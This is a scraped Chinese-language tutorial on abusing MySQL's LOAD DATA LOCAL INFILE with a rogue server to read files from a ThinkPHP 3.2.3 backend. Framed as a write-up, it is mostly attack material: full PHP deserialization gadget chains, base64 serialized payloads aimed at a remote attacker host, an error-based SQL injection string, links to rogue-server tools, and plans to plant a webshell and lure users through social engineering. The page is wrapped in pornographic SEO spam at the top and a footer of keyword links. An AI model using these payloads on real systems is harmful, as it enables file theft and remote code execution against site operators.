成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

淺析MySQL惡意服務器讀取文件原理

數據庫 MySQL
搭建MySQL惡意服務器讀取文件這件事,雖然直接利用門檻較高,但是由于在網上看到了一種比較新穎的利用方式(利用社會工程學引誘用戶連接MySQL進而讀取用戶文件),個人覺得比較有意思,總結了一下攻擊原理以及攻擊方式,因此就有了這篇文章。

前言

搭建MySQL惡意服務器讀取文件這件事,雖然直接利用門檻較高,但是由于在網上看到了一種比較新穎的利用方式(利用社會工程學引誘用戶連接MySQL進而讀取用戶文件),個人覺得比較有意思,總結了一下攻擊原理以及攻擊方式,因此就有了這篇文章。

原理

在闡述具體原理之前,先介紹幾個SQL語句,以便后文理解。

首先在tmp目錄下新建一個tmp.txt。

內容如下:

淺析MySQL惡意服務器讀取文件原理

然后執行下方SQL語句,即可將tmp.txt文件導入其中

mysql> load data local infile "/tmp/tmp.txt" into table test fields terminated by '\n';
Query OK, 3 rows affected (2.63 sec)
Records: 3 Deleted: 0 Skipped: 0 Warnings: 0

mysql> select * from Test;
+-------+
| name |
+-------+
| admin |
| user |
| Lxxx |
+-------+
3 rows in set (0.00 sec)
  • load data local infile語句會讀取客戶端本地的文件
  • load data infile語句會讀取服務端本地的文件
  • terminated by表示以某某字符分割,默認為Tab,這里我設置為了\n

這個時候可能就會繞不清楚,什么是服務端,什么是客戶端?

因為一般情況下,調試SQL都是在本機,并且數據庫也在本機,這樣的情況就導致,客戶端和服務端都是在本地,有點難區分,下面我用一張圖來簡述。

淺析MySQL惡意服務器讀取文件原理

在本地,由于客戶端和服務端都是在同一個磁盤下,因此,在本地,無論是否加local都是可以將文件傳入數據庫的,而后面講到利用MySQL惡意服務器讀取文件的漏洞,就是需要使用local,來達到將文件帶出的目的。

下面我畫了兩張圖,第一張圖是正常業務流程,第二張圖是攻擊者惡意攻擊的流程

正常的后端業務流程如下:

淺析MySQL惡意服務器讀取文件原理

當攻擊者劫持后端服務器,并且在公網中搭建惡意的MySQL后,流程圖如下:

淺析MySQL惡意服務器讀取文件原理

這樣攻擊者就可以在后端達到任意文件下載的目的。

演示

雖說在之前的某個CTF比賽出過類似的題目,但是我這里還是使用ThinkPHP3.2.3存在的反序列化漏洞,結合MySQL惡意服務器讀取敏感文件,進而RCE的樣例。

首先在本地先啟動一個ThinkPHP3.2.3的框架,連接好數據庫,在Application/Home/Controller/HelloController.class.php控制器中寫一個反序列化入口。

<?php
namespace Home\Controller;

use Think\Controller;

class HelloController extends Controller
{
public function index($Lxxx){
echo base64_decode($Lxxx);
$a = unserialize(base64_decode($Lxxx));
}
}

具體的鏈子,我就不跟了,網上也有很多,雖然鏈子具體的方法不跟進,但是我還是需要介紹一下這條鏈子能起到一個什么作用。

  1. 首先需要一個反序列化入口,這是毋庸置疑的,沒有反序列化入口,那就無法進行反序列化,所以上方我就在HelloController控制器中自己寫了一個反序列化入口。
  2. 這條鏈子最終的鏈尾是需要數據庫的相關信息,例如數據庫名,數據庫端口,數據庫用戶以及密碼,并且這條鏈子是允許使用堆疊注入的,因此如果知道數據庫相關信息,那么就可以利用堆疊注入寫入一句話木馬進而getshell。

這里我就直接將鏈子放出來,然后演示一下如何搭建一個惡意的MySQL數據庫,獲取敏感文件,進而getshell。

<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 開啟才能讀取文件
);
protected $config = array(
"debug" => 1,
"database" => "tp323",
"hostname" => "127.0.0.1",
"hostport" => "8889",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
}
}

namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;

public function __construct(){
$this->img = new Memcache();
}
}
}

namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;

public function __construct(){
$this->handle = new Model();
}
}
}

namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;

public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "tp_user where 1=updatexml(1,concat(0x7e,version(),0x7e),1)#",
"where" => "1=1"
);
}
}
}

namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

上方鏈子中的數據庫信息為我本地的數據庫信息,執行該文件后,得到序列化字符串如下:

TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjU5OiJ0cF91c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdmVyc2lvbigpLDB4N2UpLDEpIyI7czo1OiJ3aGVyZSI7czozOiIxPTEiO319czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fXM6OToiACoAY29uZmlnIjthOjc6e3M6NToiZGVidWciO2k6MTtzOjg6ImRhdGFiYXNlIjtzOjU6InRwMzIzIjtzOjg6Imhvc3RuYW1lIjtzOjk6IjEyNy4wLjAuMSI7czo4OiJob3N0cG9ydCI7czo0OiI4ODg5IjtzOjc6ImNoYXJzZXQiO3M6NDoidXRmOCI7czo4OiJ1c2VybmFtZSI7czo0OiJyb290IjtzOjg6InBhc3N3b3JkIjtzOjQ6InJvb3QiO319fX19

傳給url

淺析MySQL惡意服務器讀取文件原理

可以看到報錯注入成功,然后,在公網上搭建一個惡意的MySQL服務,這個腳本在Github中已經有前輩寫好了,具體原理就是分析相關的MySQL報文,然后與后端服務器創建惡意連接,并且獲得自己想要的文件,這里貼出幾個連接,有些項目可能在新的MySQL版本中無法使用。

  • https://github.com/Gifts/Rogue-MySql-Server
  • https://github.com/allyshka/Rogue-MySql-Server
  • https://github.com/jas502n/CVE-2019-12086-jackson-databind-file-read

下載好POC之后,修改一下要讀取的文件名。

淺析MySQL惡意服務器讀取文件原理

然后利用Python啟動,啟動完成后,惡意的MySQL就在監聽3307端口

python rogue_mysql_server.py

接下來修改之前的鏈子,把IP和端口修改為遠程惡意的MySQL地址,然后生成鏈子。

<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 開啟才能讀取文件
);
protected $config = array(
"debug" => 1,
"database" => "tp323",
"hostname" => "1.1.1.1",
"hostport" => "3307",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
}
}

namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;

public function __construct(){
$this->img = new Memcache();
}
}
}

namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;

public function __construct(){
$this->handle = new Model();
}
}
}

namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;

public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "tp_user where 1=updatexml(1,concat(0x7e,version(),0x7e),1)#",
"where" => "1=1"
);
}
}
}

namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

得到:

TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjU5OiJ0cF91c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdmVyc2lvbigpLDB4N2UpLDEpIyI7czo1OiJ3aGVyZSI7czozOiIxPTEiO319czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fXM6OToiACoAY29uZmlnIjthOjc6e3M6NToiZGVidWciO2k6MTtzOjg6ImRhdGFiYXNlIjtzOjU6InRwMzIzIjtzOjg6Imhvc3RuYW1lIjtzOjc6IjEuMS4xLjEiO3M6ODoiaG9zdHBvcnQiO3M6NDoiMzMwNyI7czo3OiJjaGFyc2V0IjtzOjQ6InV0ZjgiO3M6ODoidXNlcm5hbWUiO3M6NDoicm9vdCI7czo4OiJwYXNzd29yZCI7czo0OiJyb290Ijt9fX19fQ==

傳給HomeController控制器,然后就可以在遠程VPS中的mysql.log得到之前需要惡意下載的文件。

淺析MySQL惡意服務器讀取文件原理

現在得到了相關數據庫信息,然后就可以再次構造鏈子,利用堆疊注入寫入一句話木馬getshell了。

使用場景

  • 能劫持后端服務器,但無法getshell的時候,可以采用這個方法getshell(例如ThinkPHP3.2.3的利用鏈只能到數據庫層,則可以通過這個方法getshell)
  • 能引誘用戶連接惡意MySQL(社會工程學)?
責任編輯:華軒 來源: 今日頭條
相關推薦

2009-07-06 14:05:11

JSP服務器

2010-08-31 17:37:22

DHCP服務器故障

2010-05-25 09:32:04

搭建SVN服務器

2010-05-10 11:26:40

Oracle 參數文件

2011-08-01 13:10:58

2011-03-23 13:59:43

2018-07-31 09:30:44

Linux服務器網絡

2010-04-08 17:43:44

Unix操作系統

2009-07-06 17:34:38

JSP HTTP服務器

2010-07-30 18:12:22

2009-10-10 09:06:35

服務器測試方案

2009-09-24 12:57:18

2009-03-24 18:32:11

思科服務器Vmware

2010-05-25 13:20:46

http與svn

2009-10-09 16:10:56

服務器測試報告存儲型服務器

2009-08-03 18:00:00

ASP.NET服務器控

2018-12-28 10:05:11

Linux服務器后門

2011-06-09 13:07:03

2023-08-30 12:21:03

2011-07-04 17:55:09

點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 亚洲一卡二卡 | 久久成人免费视频 | 日日骚网 | 色婷婷精品久久二区二区蜜臂av | 日韩av免费在线电影 | 久久精品黄色 | 免费a大片 | 久久久久久久久久久蜜桃 | 红色av社区 | 午夜三级在线观看 | 亚洲欧美在线观看 | 偷拍自拍第一页 | 日韩日韩日韩日韩日韩日韩日韩 | 国产精品网页 | 国产特级毛片aaaaaa | 一区二区在线观看免费视频 | 在线观看国产 | 日日日日日日bbbbb视频 | 最新中文字幕在线 | 亚洲国产中文字幕 | 国产色99| 亚洲国产成人在线视频 | 亚洲人人 | 国产黄色大片 | 蜜桃在线一区二区三区 | 国产欧美一区二区三区日本久久久 | 欧美黑人激情 | 精精国产xxxx视频在线播放 | 日韩一区二区不卡 | 成年人精品视频在线观看 | 伊人伊成久久人综合网站 | 国产一二三区免费视频 | 国产草草视频 | 日韩午夜 | 久久不卡| 日韩精品国产精品 | 亚洲精选一区二区 | 国产激情在线 | 国产清纯白嫩初高生在线播放视频 | 中文字幕视频在线观看 | www.亚洲精品 |